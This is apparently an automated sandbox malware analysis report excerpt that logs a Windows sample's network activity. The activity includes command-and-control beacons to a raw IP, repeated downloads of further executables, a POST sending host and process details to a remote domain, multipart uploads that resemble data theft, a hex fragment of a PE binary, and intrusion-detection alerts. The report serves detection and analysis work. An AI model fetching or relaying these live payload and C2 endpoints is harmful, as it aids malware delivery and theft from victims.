00 c0 2e 72 73 72 63 00 00 00 2c 6c 00 00 00 90 14 00 00 6e 00 00 00 28 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 63 00 00 00 00 15 00 00 64 00 00 00 96 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 19:12:09 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/151334531/YIFtngJ.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 37 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017788001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 38 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017818001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 38 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017821001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 38 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017822001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 438855Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 33 35 35 30 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=aMcIUlaEFPceCafP1734635514 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 38 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017823001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017824001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.226.108.155 34.226.108.155

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49768 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49794 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49815 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49812 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49820 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49826 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49832 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49843 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49850 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49858 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49874 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49877 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49909 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49928 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49934 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49940 -> 104.21.91.209:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PK76OF1P1EOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18123Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3TC99R1PEZQ9GXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8762Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=B5QUFYWEE3CERL6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20421Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9RYAMLJD4WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1217Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M6DXRN6KAKHY1OHBPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551619Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 84Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treehoneyi.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008EE0C0 recv,recv,recv,recv,

0_2_008EE0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/151334531/YIFtngJ.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=aMcIUlaEFPceCafP1734635514 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treehoneyi.click

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 19:11:18 GMTContent-Type: text/html; charset=us-asciiTransfer-Encoding: chunkedConnection: keep-aliveCF-Ray: 8f49b29bba3f43df-EWRCF-Cache-Status: DYNAMICcf-apo-via: origin,hostReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FMNd10CDi3UbPaD9VAqSANlmKIzbQ7aiqL56XgIgBkP893flJq%2BIio13xWNBVYGPaC5A82erYxjFQai5HRDaJX2HtzL6O4o9UYajqAKIw07%2FrSjOENSXNPlfuD3GHRZ9Rmo6yXFNRzXisOtc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareserver-timing: cfL4;desc="?proto=TCP&rtt=1884&min_rtt=1884&rtt_var=942&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0
